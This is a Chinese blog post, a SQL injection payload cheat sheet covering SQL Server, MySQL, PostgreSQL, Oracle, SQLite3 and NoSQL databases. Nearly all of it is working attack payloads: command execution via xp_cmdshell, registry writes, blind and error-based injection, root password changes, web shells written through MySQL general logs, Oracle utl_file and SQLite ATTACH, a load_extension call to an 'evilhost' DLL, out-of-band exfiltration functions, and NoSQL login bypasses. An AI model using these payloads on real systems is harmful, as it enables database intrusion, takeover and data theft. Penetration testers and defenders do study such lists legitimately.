常见sql注入payload

1. SQL Server Payload

1.1. 常见Payload

Version

SELECT @@version

Comment

SELECT 1 -- comment
SELECT /*comment*/1

Space

0x01 - 0x20

用户信息

SELECT user_name()
SELECT system_user
SELECT user
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

用户权限

select IS_SRVROLEMEMBER('sysadmin')
select IS_SRVROLEMEMBER('db_owner')

List User

SELECT name FROM master..syslogins

数据库信息

SELECT name FROM master..sysdatabases
select concat_ws(table_schema,table_name,column_name) from information_schema.columns
select quotename(name) from master..sysdatabases FOR XML PATH('')

执行命令

EXEC xp_cmdshell 'net user'

Ascii

SELECT char(0x41)
SELECT ascii('A')
SELECT char(65)+char(66) => return AB

Delay

WAITFOR DELAY '0:0:3' pause for 3 seconds

Change Password

ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'

Trick

id=1 union:select password from:user

文件读取

OpenRowset

当前查询语句

select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)

hostname

用于判断是否站库分离

select host_name()

exec xp_getnetname

服务器信息

exec xp_msver

1.2. 注册表读写

xp_regread
    exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEMCurrentControlSetServicesMSSEARCH'
xp_regwrite
xp_regdeletvalue
xp_regdeletkey
xp_regaddmultistring

1.3. 报错注入

1=convert(int,(db_name()))

1.4. 常用函数

SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()

1.5. DNS OOB

fn_xe_file_target_read_file
fn_get_audit_file
fn_trace_gettable

1.6. 其他常用存储过程

sp_execute_external_script
sp_makewebtask
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
xp_cmdshell
xp_dirtree
xp_enumerrorlogs
xp_enumgroups
xp_fixeddrives
xp_getfiledetails
xp_loginconfig

2. MySQL Payload

2.1. 常见Payload

Version

SELECT @@version

Comment

SELECT 1 -- comment
SELECT 1 # comment
SELECT /*comment*/1

Space

0x9 0xa-0xd 0x20 0xa0

Current User

SELECT user()
SELECT system_user()

List User

SELECT user FROM mysql.user

Current Database

SELECT database()

List Database

SELECT schema_name FROM information_schema.schemata

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

If

SELECT if(1=1,'foo','bar'); return 'foo'

Ascii

SELECT char(0x41)
SELECT ascii('A')
SELECT 0x414243 => return ABC

Delay

sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))

Read File

select @@datadir
select load_file('databasename/tablename.MYD')

Blind

ascii(substring(str,pos,length)) & 32 = 1

Error Based

select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))

Change Password

mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

2.1.1. 报错注入常见函数

extractvalue
updatexml
GeometryCollection
linestring
multilinestring
multipoint
multipolygon
polygon
exp

2.2. 写文件

2.2.1. 写文件前提

root 权限
知晓文件绝对路径
写入的路径存在写入权限
secure_file_priv 允许向对应位置写入
select count(file_priv) from mysql.user

2.2.2. 基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

2.2.3. 基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;

3. PostgresSQL Payload

Version

SELECT version()

Comment

SELECT 1 -- comment
SELECT /*comment*/1

Current User

SELECT user
SELECT current_user
SELECT session_user
SELECT getpgusername()

List User

SELECT usename FROM pg_user

Current Database

SELECT current_database()

List Database

SELECT datname FROM pg_database

Ascii

SELECT char(0x41)
SELECT ascii('A')

Delay

pg_sleep(1)

4. Oracle Payload

4.1. 常见Payload

dump

select * from v$tablespace;
select * from user_tables;
select column_name from user_tab_columns where table_name = 'table_name';
select column_name, data_type from user_tab_columns where table_name = 'table_name';
SELECT * FROM ALL_TABLES

Comment

--
/**/

Space

0x00 0x09 0xa-0xd 0x20

报错

utl_inaddr.get_host_name
ctxsys.drithsx.sn
ctxsys.CTX_REPORT.TOKEN_TYPE
XMLType
dbms_xdb_version.checkin
dbms_xdb_version.makeversioned
dbms_xdb_version.uncheckout
dbms_utility.sqlid_to_sqlhash
ordsys.ord_dicom.getmappingxpath
utl_inaddr.get_host_name
utl_inaddr.get_host_address

OOB

utl_http.request
utl_inaddr.get_host_address
SYS.DBMS_LDAP.INIT
HTTPURITYPE
HTTP_URITYPE.GETCLOB

绕过

rawtohex

4.2. 写文件

create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
isto_file utl_file.file_type;
begin
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
utl_file.put_line(isto_file, '<% out.println("test"); %>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);
end;

5. SQLite3 Payload

Comment

--
/**/

Version

select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Load_extension

UNION SELECT 1,load_extension('\evilhostevil.dll','E');--

6. NoSQL Payload

6.1. 常见Payload

绕过限制条件

{"username": "user"} => {"username": {"ne": "fakeuser"}}
{"$where": "return true"}

测试用字符

'"/$[].>

布尔测试常用

{"$ne": -1}
{"$in": []}
{"$where": "return true"}
{"$or": [{},{"foo":"1"}]}

时间

{"$where": "sleep(100)"}
 
作者:拾瑾
个性签名:愿历经千帆,归来仍少年.
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
原文地址:https://www.cnblogs.com/ayoung/p/15246035.html